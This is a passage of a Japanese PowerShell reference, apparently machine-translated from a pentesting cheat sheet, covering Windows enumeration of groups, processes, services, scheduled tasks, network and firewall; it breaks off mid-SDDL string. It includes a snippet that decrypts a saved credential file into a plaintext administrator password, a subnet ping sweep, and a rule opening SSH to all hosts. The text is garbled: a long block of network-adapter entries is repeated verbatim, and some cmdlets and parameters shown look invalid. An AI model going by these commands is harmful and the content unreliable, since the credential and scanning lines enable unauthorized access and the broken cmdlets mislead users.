ユーザーをグループから削除するには、以下のコマンドを使用します。

Remove-LocalGroupMember -Group "GroupName" -Member "UserName"

グループの削除

グループを削除するには、以下のコマンドを使用します。

Remove-LocalGroup -Name "GroupName"

以上が基本的なPowerShellコマンドを使用したグループの操作方法です。これらのコマンドを使用することで、Windowsシステム上でのグループの管理が容易になります。

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

クリップボード

クリップボードは、Windowsオペレーティングシステムで使用される一時的なデータ保存領域です。ユーザーがテキストやファイルをコピーすると、そのデータはクリップボードに保存されます。クリップボードは、コピーしたデータを他のアプリケーションに貼り付けるために使用されます。

クリップボードの操作

クリップボードの内容を表示する

Get-Clipboard

クリップボードにテキストをコピーする

Set-Clipboard -Text "コピーするテキスト"

クリップボードにファイルをコピーする

Set-Clipboard -Path "ファイルのパス"

クリップボードの内容をクリアする

Clear-Clipboard

クリップボードを使用した攻撃

クリップボードは、悪意のある攻撃者によって悪用される可能性があります。以下は、クリップボードを使用した攻撃の例です。

  • クリップボードの内容を盗むマルウェア
  • クリップボードを介して機密情報を漏洩させる攻撃
  • クリップボードを使用して悪意のあるコードを実行する攻撃

クリップボードのセキュリティを強化するためには、以下の対策を実施することが重要です。

  • クリップボードの内容を定期的に確認し、不審なアクティビティを監視する
  • クリップボードに機密情報をコピーしない
  • クリップボードの内容をクリアする際には注意を払い、機密情報が漏洩しないようにする
Get-Clipboard

プロセス

Get-Process

Get-Processコマンドは、実行中のプロセスの一覧を表示します。

Get-Process

Start-Process

Start-Processコマンドは、新しいプロセスを開始します。

Start-Process -FilePath "C:\path\to\executable.exe"

Stop-Process

Stop-Processコマンドは、指定したプロセスを終了します。

Stop-Process -Name "processname"

Invoke-Command

Invoke-Commandコマンドは、リモートコンピュータ上でコマンドを実行します。

Invoke-Command -ComputerName "computername" -ScriptBlock { Get-Process }

Get-WmiObject

Get-WmiObjectコマンドは、WMIオブジェクトを取得します。

Get-WmiObject -Class Win32_Process

Get-CimInstance

Get-CimInstanceコマンドは、CIMインスタンスを取得します。

Get-CimInstance -ClassName Win32_Process

Stop-Service

Stop-Serviceコマンドは、指定したサービスを停止します。

Stop-Service -Name "servicename"

Start-Service

Start-Serviceコマンドは、指定したサービスを開始します。

Start-Service -Name "servicename"

Restart-Service

Restart-Serviceコマンドは、指定したサービスを再起動します。

Restart-Service -Name "servicename"

Set-Service

Set-Serviceコマンドは、サービスの設定を変更します。

Set-Service -Name "servicename" -StartupType Automatic

Get-Service

Get-Serviceコマンドは、実行中のサービスの一覧を表示します。

Get-Service

Get-NetTCPConnection

Get-NetTCPConnectionコマンドは、TCP接続の一覧を表示します。

Get-NetTCPConnection

Get-NetUDPEndpoint

Get-NetUDPEndpointコマンドは、UDPエンドポイントの一覧を表示します。

Get-NetUDPEndpoint

Get-NetTCPSetting

Get-NetTCPSettingコマンドは、TCP設定の情報を表示します。

Get-NetTCPSetting

Get-NetFirewallRule

Get-NetFirewallRuleコマンドは、ファイアウォールルールの一覧を表示します。

Get-NetFirewallRule

Get-NetFirewallProfile

Get-NetFirewallProfileコマンドは、ファイアウォールプロファイルの情報を表示します。

Get-NetFirewallProfile

Get-NetAdapter

Get-NetAdapterコマンドは、ネットワークアダプタの情報を表示します。

Get-NetAdapter

Get-NetIPAddress

Get-NetIPAddressコマンドは、IPアドレスの情報を表示します。

Get-NetIPAddress

Get-NetRoute

Get-NetRouteコマンドは、ルートテーブルの情報を表示します。

Get-NetRoute

Get-NetNeighbor

Get-NetNeighborコマンドは、ネットワーク隣接デバイスの情報を表示します。

Get-NetNeighbor

Get-NetAdapterStatistics

Get-NetAdapterStatisticsコマンドは、ネットワークアダプタの統計情報を表示します。

Get-NetAdapterStatistics

Get-NetAdapterAdvancedProperty

Get-NetAdapterAdvancedPropertyコマンドは、ネットワークアダプタの詳細なプロパティを表示します。

Get-NetAdapterAdvancedProperty

Get-NetAdapterBinding

Get-NetAdapterBindingコマンドは、ネットワークアダプタのバインディング情報を表示します。

Get-NetAdapterBinding

Get-NetAdapterChecksumOffload

Get-NetAdapterChecksumOffloadコマンドは、ネットワークアダプタのチェックサムオフロードの情報を表示します。

Get-NetAdapterChecksumOffload

Get-NetAdapterEncapsulatedPacketTaskOffload

Get-NetAdapterEncapsulatedPacketTaskOffloadコマンドは、ネットワークアダプタのカプセル化パケットタスクオフロードの情報を表示します。

Get-NetAdapterEncapsulatedPacketTaskOffload

Get-NetAdapterIPsecOffload

Get-NetAdapterIPsecOffloadコマンドは、ネットワークアダプタのIPsecオフロードの情報を表示します。

Get-NetAdapterIPsecOffload

Get-NetAdapterLso

Get-NetAdapterLsoコマンドは、ネットワークアダプタのLsoLarge Send Offloadの情報を表示します。

Get-NetAdapterLso

Get-NetAdapterPacketDirect

Get-NetAdapterPacketDirectコマンドは、ネットワークアダプタのPacketDirectの情報を表示します。

Get-NetAdapterPacketDirect

Get-NetAdapterPowerManagement

Get-NetAdapterPowerManagementコマンドは、ネットワークアダプタの電源管理の情報を表示します。

Get-NetAdapterPowerManagement

Get-NetAdapterQos

Get-NetAdapterQosコマンドは、ネットワークアダプタのQoSQuality of Serviceの情報を表示します。

Get-NetAdapterQos

Get-NetAdapterRdma

Get-NetAdapterRdmaコマンドは、ネットワークアダプタのRDMARemote Direct Memory Accessの情報を表示します。

Get-NetAdapterRdma

Get-NetAdapterRsc

Get-NetAdapterRscコマンドは、ネットワークアダプタのRSCReceive Segment Coalescingの情報を表示します。

Get-NetAdapterRsc

Get-NetAdapterRss

Get-NetAdapterRssコマンドは、ネットワークアダプタのRSSReceive Side Scalingの情報を表示します。

Get-NetAdapterRss

Get-NetAdapterSriov

Get-NetAdapterSriovコマンドは、ネットワークアダプタのSR-IOVSingle Root I/O Virtualizationの情報を表示します。

Get-NetAdapterSriov

Get-NetAdapterVmq

Get-NetAdapterVmqコマンドは、ネットワークアダプタのVMQVirtual Machine Queueの情報を表示します。

Get-NetAdapterVmq

Get-NetAdapterVrss

Get-NetAdapterVrssコマンドは、ネットワークアダプタのVRSSVirtual Receive Side Scalingの情報を表示します。

Get-NetAdapterVrss

Get-NetAdapterWakeOnMagicPacket

Get-NetAdapterWakeOnMagicPacketコマンドは、ネットワークアダプタのマジックパケットによるウェイクアップの情報を表示します。

Get-NetAdapterWakeOnMagicPacket

Get-NetAdapterWakeOnPattern

Get-NetAdapterWakeOnPatternコマンドは、ネットワークアダプタのパターンによるウェイクアップの情報を表示します。

Get-NetAdapterWakeOnPattern

Get-NetAdapterWakeOnPatternList

Get-NetAdapterWakeOnPatternListコマンドは、ネットワークアダプタのウェイクアップパターンの一覧を表示します。

Get-NetAdapterWakeOnPatternList

Get-NetAdapterWoL

Get-NetAdapterWoLコマンドは、ネットワークアダプタのWake-on-LANWoLの情報を表示します。

Get-NetAdapterWoL

Get-NetAdapterStatistics

Get-NetAdapterStatisticsコマンドは、ネットワークアダプタの統計情報を表示します。

Get-NetAdapterStatistics

Get-NetAdapterAdvancedProperty

Get-NetAdapterAdvancedPropertyコマンドは、ネットワークアダプタの詳細なプロパティを表示します。

Get-NetAdapterAdvancedProperty

Get-NetAdapterBinding

Get-NetAdapterBindingコマンドは、ネットワークアダプタのバインディング情報を表示します。

Get-NetAdapterBinding

Get-NetAdapterChecksumOffload

Get-NetAdapterChecksumOffloadコマンドは、ネットワークアダプタのチェックサムオフロードの情報を表示します。

Get-NetAdapterChecksumOffload

Get-NetAdapterEncapsulatedPacketTaskOffload

Get-NetAdapterEncapsulatedPacketTaskOffloadコマンドは、ネットワークアダプタのカプセル化パケットタスクオフロードの情報を表示します。

Get-NetAdapterEncapsulatedPacketTaskOffload

Get-NetAdapterIPsecOffload

Get-NetAdapterIPsecOffloadコマンドは、ネットワークアダプタのIPsecオフロードの情報を表示します。

Get-NetAdapterIPsecOffload

Get-NetAdapterLso

Get-NetAdapterLsoコマンドは、ネットワークアダプタのLsoLarge Send Offloadの情報を表示します。

Get-NetAdapterLso

Get-NetAdapterPacketDirect

Get-NetAdapterPacketDirectコマンドは、ネットワークアダプタのPacketDirectの情報を表示します。

Get-NetAdapterPacketDirect

Get-NetAdapterPowerManagement

Get-NetAdapterPowerManagementコマンドは、ネットワークアダプタの電源管理の情報を表示します。

Get-NetAdapterPowerManagement

Get-NetAdapterQos

Get-NetAdapterQosコマンドは、ネットワークアダプタのQoSQuality of Serviceの情報を表示します。

Get-NetAdapterQos

Get-NetAdapterRdma

Get-NetAdapterRdmaコマンドは、ネットワークアダプタのRDMARemote Direct Memory Accessの情報を表示します。

Get-NetAdapterRdma

Get-NetAdapterRsc

Get-NetAdapterRscコマンドは、ネットワークアダプタのRSCReceive Segment Coalescingの情報を表示します。

Get-NetAdapterRsc

Get-NetAdapterRss

Get-NetAdapterRssコマンドは、ネットワークアダプタのRSSReceive Side Scalingの情報を表示します。

Get-NetAdapterRss

Get-NetAdapterSriov

Get-NetAdapterSriovコマンドは、ネットワークアダプタのSR-IOVSingle Root I/O Virtualizationの情報を表示します。

Get-NetAdapterSriov

Get-NetAdapterVmq

Get-NetAdapterVmqコマンドは、ネットワークアダプタのVMQVirtual Machine Queueの情報を表示します。

Get-NetAdapterVmq

Get-NetAdapterVrss

Get-NetAdapterVrssコマンドは、ネットワークアダプタのVRSSVirtual Receive Side Scalingの情報を表示します。

Get-NetAdapterVrss

Get-NetAdapterWakeOnMagicPacket

Get-NetAdapterWakeOnMagicPacketコマンドは、ネットワークアダプタのマジックパケットによるウェイクアップの情報を表示します。

Get-NetAdapterWakeOnMagicPacket

Get-NetAdapterWakeOnPattern

Get-NetAdapterWakeOnPatternコマンドは、ネットワークアダプタのパターンによるウェイクアップの情報を表示します。

Get-NetAdapterWakeOnPattern

Get-NetAdapterWakeOnPatternList

Get-NetAdapterWakeOnPatternListコマンドは、ネットワークアダプタのウェイクアップパターンの一覧を表示します。

Get-NetAdapterWakeOnPatternList

Get-NetAdapterWoL

Get-NetAdapterWoLコマンドは、ネットワークアダプタのWake-on-LANWoLの情報を表示します。

Get-NetAdapterWoL
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

サービス

PowerShell Remoting

PowerShellリモート操作は、リモートのWindowsマシンに対してPowerShellコマンドを実行するための強力なツールです。以下のコマンドを使用して、リモートマシンに接続し、コマンドを実行できます。

Enter-PSSession -ComputerName <target> -Credential <credentials>

サービスの一覧表示

リモートマシン上で実行されているサービスの一覧を表示するには、次のコマンドを使用します。

Get-Service

サービスの停止

特定のサービスを停止するには、次のコマンドを使用します。

Stop-Service -Name <service_name>

サービスの開始

特定のサービスを開始するには、次のコマンドを使用します。

Start-Service -Name <service_name>

サービスの再起動

特定のサービスを再起動するには、次のコマンドを使用します。

Restart-Service -Name <service_name>

サービスの無効化

特定のサービスを無効化するには、次のコマンドを使用します。

Set-Service -Name <service_name> -StartupType Disabled

サービスの有効化

特定のサービスを有効化するには、次のコマンドを使用します。

Set-Service -Name <service_name> -StartupType Automatic

サービスの削除

特定のサービスを削除するには、次のコマンドを使用します。

Remove-Service -Name <service_name>

サービスの設定変更

特定のサービスの設定を変更するには、次のコマンドを使用します。

Set-Service -Name <service_name> -<setting_name> <value>

サービスのステータスの確認

特定のサービスのステータスを確認するには、次のコマンドを使用します。

Get-Service -Name <service_name> | Select-Object Status
Get-Service

セキュアな文字列からパスワードを取得する

PowerShellを使用して、セキュアな文字列からパスワードを取得する方法を説明します。

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

上記のコードでは、ConvertTo-SecureString関数を使用して、セキュアな文字列を作成します。-Stringパラメータには、セキュアな文字列に変換する元の文字列を指定します。-AsPlainTextパラメータは、セキュアな文字列を平文で保存することを指定します。-Forceパラメータは、変換を強制するために使用されます。

次に、[Runtime.InteropServices.Marshal]::SecureStringToBSTRメソッドを使用して、セキュアな文字列をBSTRバイナリストリングに変換します。その後、[Runtime.InteropServices.Marshal]::PtrToStringAutoメソッドを使用して、BSTRを文字列に変換します。これにより、セキュアな文字列からパスワードが取得されます。

この方法を使用すると、セキュアな文字列からパスワードを取得することができます。

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

スケジュールされたタスク

Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how scheduled tasks work can be beneficial for privilege escalation and persistence.

スケジュールされたタスクは、特定の時間や間隔でスクリプトやプログラムの実行を自動化するためのWindowsの強力な機能です。ペンテスターとして、スケジュールされたタスクの仕組みを理解することは特権の昇格や持続性に役立ちます。

Viewing Scheduled Tasks

スケジュールされたタスクの表示

To view the list of scheduled tasks on a Windows system, you can use the schtasks command in PowerShell. This command allows you to list, create, modify, and delete scheduled tasks.

Windowsシステム上のスケジュールされたタスクのリストを表示するには、PowerShellのschtasksコマンドを使用します。このコマンドを使用すると、スケジュールされたタスクの一覧表示、作成、変更、削除ができます。

To view all the scheduled tasks, run the following command:

すべてのスケジュールされたタスクを表示するには、次のコマンドを実行します。

schtasks /query /fo LIST /v

This will display detailed information about each scheduled task, including the task name, status, triggers, and actions.

これにより、タスク名、ステータス、トリガー、アクションなど、各スケジュールされたタスクの詳細情報が表示されます。

Creating Scheduled Tasks

スケジュールされたタスクの作成

To create a new scheduled task, you can use the schtasks command with the /create option. You will need administrative privileges to create a scheduled task.

新しいスケジュールされたタスクを作成するには、schtasksコマンドに/createオプションを使用します。スケジュールされたタスクを作成するには、管理者権限が必要です。

Here is an example command to create a scheduled task that runs a PowerShell script every day at 9:00 AM:

以下は、毎日午前9時にPowerShellスクリプトを実行するスケジュールされたタスクを作成する例です。

schtasks /create /tn "MyTask" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\Path\to\script.ps1" /sc daily /st 09:00

In this command, /tn specifies the task name, /tr specifies the command to be executed, /sc specifies the schedule frequency (daily in this case), and /st specifies the start time.

このコマンドでは、/tnはタスク名を指定し、/trは実行するコマンドを指定し、/scはスケジュールの頻度を指定します(この場合は毎日)、/stは開始時間を指定します。

Modifying Scheduled Tasks

スケジュールされたタスクの変更

To modify an existing scheduled task, you can use the schtasks command with the /change option. Again, administrative privileges are required to modify a scheduled task.

既存のスケジュールされたタスクを変更するには、schtasksコマンドに/changeオプションを使用します。スケジュールされたタスクを変更するには、再び管理者権限が必要です。

Here is an example command to modify the start time of a scheduled task:

以下は、スケジュールされたタスクの開始時間を変更する例です。

schtasks /change /tn "MyTask" /st 10:00

In this command, /tn specifies the task name, and /st specifies the new start time.

このコマンドでは、/tnはタスク名を指定し、/stは新しい開始時間を指定します。

Deleting Scheduled Tasks

スケジュールされたタスクの削除

To delete a scheduled task, you can use the schtasks command with the /delete option. Once again, administrative privileges are required to delete a scheduled task.

スケジュールされたタスクを削除するには、schtasksコマンドに/deleteオプションを使用します。スケジュールされたタスクを削除するには、再び管理者権限が必要です。

Here is an example command to delete a scheduled task:

以下は、スケジュールされたタスクを削除する例です。

schtasks /delete /tn "MyTask" /f

In this command, /tn specifies the task name, and /f forces the deletion without confirmation.

このコマンドでは、/tnはタスク名を指定し、/fは確認なしで削除を強制します。

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

ネットワーク

インターフェース

| Command | Description |
|---------|-------------|
| `Get-NetAdapter` | List all network adapters |
| `Get-NetAdapter -Name <adapter_name>` | Get information about a specific network adapter |
| `Get-NetAdapter -Physical` | List only physical network adapters |
| `Get-NetAdapter -Virtual` | List only virtual network adapters |
| `Get-NetAdapter -InterfaceDescription <description>` | Get information about a network adapter based on its description |
| `Get-NetAdapter -MacAddress <mac_address>` | Get information about a network adapter based on its MAC address |
| `Get-NetIPAddress` | List all IP addresses |
| `Get-NetIPAddress -InterfaceAlias <alias>` | Get information about a specific IP address |
| `Get-NetIPAddress -IPAddress <ip_address>` | Get information about a specific IP address |
| `Get-NetIPAddress -AddressFamily <address_family>` | List IP addresses based on address family (IPv4 or IPv6) |
| `Get-NetRoute` | List all network routes |
| `Get-NetRoute -DestinationPrefix <prefix>` | Get information about a specific network route |
| `Get-NetRoute -InterfaceAlias <alias>` | List network routes for a specific interface |
| `Get-NetRoute -NextHop <next_hop>` | List network routes with a specific next hop |
| `Get-NetNeighbor` | List all network neighbors |
| `Get-NetNeighbor -IPAddress <ip_address>` | Get information about a specific network neighbor |
| `Get-NetNeighbor -InterfaceAlias <alias>` | List network neighbors for a specific interface |
| `Get-NetNeighbor -State <state>` | List network neighbors with a specific state |
<table>
  <tr>
    <th>コマンド</th>
    <th>説明</th>
  </tr>
  <tr>
    <td><code>Get-NetAdapter</code></td>
    <td>すべてのネットワークアダプタをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetAdapter -Name &lt;adapter_name&gt;</code></td>
    <td>特定のネットワークアダプタに関する情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetAdapter -Physical</code></td>
    <td>物理的なネットワークアダプタのみをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetAdapter -Virtual</code></td>
    <td>仮想的なネットワークアダプタのみをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetAdapter -InterfaceDescription &lt;description&gt;</code></td>
    <td>説明に基づいてネットワークアダプタの情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetAdapter -MacAddress &lt;mac_address&gt;</code></td>
    <td>MACアドレスに基づいてネットワークアダプタの情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetIPAddress</code></td>
    <td>すべてのIPアドレスをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetIPAddress -InterfaceAlias &lt;alias&gt;</code></td>
    <td>特定のIPアドレスに関する情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetIPAddress -IPAddress &lt;ip_address&gt;</code></td>
    <td>特定のIPアドレスに関する情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetIPAddress -AddressFamily &lt;address_family&gt;</code></td>
    <td>アドレスファミリIPv4またはIPv6に基づいてIPアドレスをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetRoute</code></td>
    <td>すべてのネットワークルートをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetRoute -DestinationPrefix &lt;prefix&gt;</code></td>
    <td>特定のネットワークルートに関する情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetRoute -InterfaceAlias &lt;alias&gt;</code></td>
    <td>特定のインターフェースのネットワークルートをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetRoute -NextHop &lt;next_hop&gt;</code></td>
    <td>特定の次のホップを持つネットワークルートをリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetNeighbor</code></td>
    <td>すべてのネットワーク隣接者をリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetNeighbor -IPAddress &lt;ip_address&gt;</code></td>
    <td>特定のネットワーク隣接者に関する情報を取得します</td>
  </tr>
  <tr>
    <td><code>Get-NetNeighbor -InterfaceAlias &lt;alias&gt;</code></td>
    <td>特定のインターフェースのネットワーク隣接者をリストします</td>
  </tr>
  <tr>
    <td><code>Get-NetNeighbor -State &lt;state&gt;</code></td>
    <td>特定の状態を持つネットワーク隣接者をリストします</td>
  </tr>
</table>
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

ファイアウォール

A firewall is a network security device that monitors and filters incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices or software programs.

ファイアウォールは、事前に設定されたセキュリティルールに基づいて、送受信されるネットワークトラフィックを監視およびフィルタリングするネットワークセキュリティデバイスです。信頼された内部ネットワークとインターネットなどの信頼されていない外部ネットワークの間にバリアを設けます。ファイアウォールはハードウェアデバイスまたはソフトウェアプログラムとして実装することができます。

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

ルート

The Route command in PowerShell is used to view and manipulate the IP routing table on a Windows system. It allows you to add, delete, or modify routes to control how network traffic is directed.

Syntax

route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric]] [if Interface]

Parameters

  • -f: Clears the routing table before adding new routes.
  • -p: Makes the added routes persistent across system reboots.
  • Command: Specifies the action to be performed on the routing table. It can be one of the following:
    • ADD: Adds a route to the routing table.
    • DELETE: Deletes a route from the routing table.
    • CHANGE: Modifies an existing route in the routing table.
  • Destination: Specifies the network destination for the route.
  • Netmask: Specifies the subnet mask for the route.
  • Gateway: Specifies the gateway or next hop for the route.
  • Metric: Specifies the metric value for the route.
  • Interface: Specifies the interface number or name for the route.

Examples

  • View the routing table:

    route print
    
  • Add a route to the routing table:

    route add 192.168.1.0 mask 255.255.255.0 192.168.0.1
    
  • Delete a route from the routing table:

    route delete 192.168.1.0
    
  • Modify an existing route in the routing table:

    route change 192.168.1.0 mask 255.255.255.0 192.168.0.2
    
  • Add a persistent route to the routing table:

    route -p add 192.168.1.0 mask 255.255.255.0 192.168.0.1
    
  • Clear the routing table and add new routes:

    route -f add 192.168.1.0 mask 255.255.255.0 192.168.0.1
    
route print

ARP

ARPAddress Resolution Protocolは、ネットワーク上のIPアドレスとMACアドレスの対応関係を解決するためのプロトコルです。ARPは、ネットワークデバイスが通信を行う際に、宛先のIPアドレスに対応するMACアドレスを取得するために使用されます。

ARPキャッシュポイズニングは、ARPプロトコルを悪用して攻撃を行う手法です。攻撃者は、ネットワーク上のデバイスに対して、誤ったIPアドレスとMACアドレスの対応関係を提供することで、通信の乗っ取りや情報の盗み出しを行うことができます。

ARPスプーフィングは、ARPキャッシュポイズニングの一種であり、攻撃者が自身のMACアドレスを他のデバイスのMACアドレスとして偽装することで、通信の中継や傍受を行うことができます。

ARP攻撃は、ネットワークセキュリティの脆弱性を悪用するため、ネットワークの監視と適切なセキュリティ対策が重要です。

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

ホスト

ホストは、ネットワーク上で他のコンピュータやデバイスと通信するための場所です。ホストは一意のIPアドレスを持ち、通信を受け入れるために特定のポートを開くことができます。ホストは、ネットワーク上でサービスを提供するために使用されることもあります。

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

ピン

Pingコマンドは、ネットワーク上の特定のIPアドレスまたはホスト名に対して、応答時間を測定するために使用されます。以下のように使用します

ping <IPアドレスまたはホスト名>

応答時間やパケットの損失率などの情報が表示されます。このコマンドは、ネットワーク接続のトラブルシューティングや、ネットワークの可用性を確認するために頻繁に使用されます。

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMPSimple Network Management Protocolは、ネットワークデバイスの管理と監視に使用されるプロトコルです。SNMPは、ネットワーク上のデバイスの情報を収集し、管理者に通知するために使用されます。SNMPは、エージェントとマネージャの間で情報を交換するために使用されます。

SNMPには、以下の主要なコンポーネントがあります。

  • エージェントネットワークデバイス上で実行されるソフトウェアで、SNMPリクエストを受信し、応答を返します。
  • マネージャSNMPリクエストを送信し、エージェントからの応答を受け取ります。
  • MIBManagement Information Baseネットワークデバイスの情報を定義するデータベースです。MIBは、エージェントとマネージャの間で情報を交換するために使用されます。

SNMPは、ネットワークデバイスの状態やパフォーマンスに関する情報を取得するために使用されます。また、SNMPを使用して、ネットワークデバイスの設定を変更することもできます。

SNMPには、セキュリティ上の懸念があります。デフォルトのコミュニティストリングが設定されている場合、攻撃者はSNMPを使用してデバイスにアクセスできる可能性があります。したがって、SNMPのセキュリティを強化するためには、適切なコミュニティストリングの設定やアクセス制御リストACLの使用が必要です。

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

SDDL文字列を読みやすい形式に変換する

To convert the SDDL (Security Descriptor Definition Language) string into a readable format, you can use the ConvertFrom-SddlString cmdlet in PowerShell. This cmdlet allows you to parse and convert the SDDL string into an object that can be easily understood.

$sddlString = "D:(A;;GA;;;WD)(A;;GA;;;BA)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor

The ConvertFrom-SddlString cmdlet takes the SDDL string as input and returns an object that represents the security descriptor. This object contains information about the various access control entries (ACEs) defined in the SDDL string.

By running the above code, you will be able to see the converted security descriptor object, which provides a more readable representation of the SDDL string.

Note: The ConvertFrom-SddlString cmdlet is available in PowerShell version 5.1 and later.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA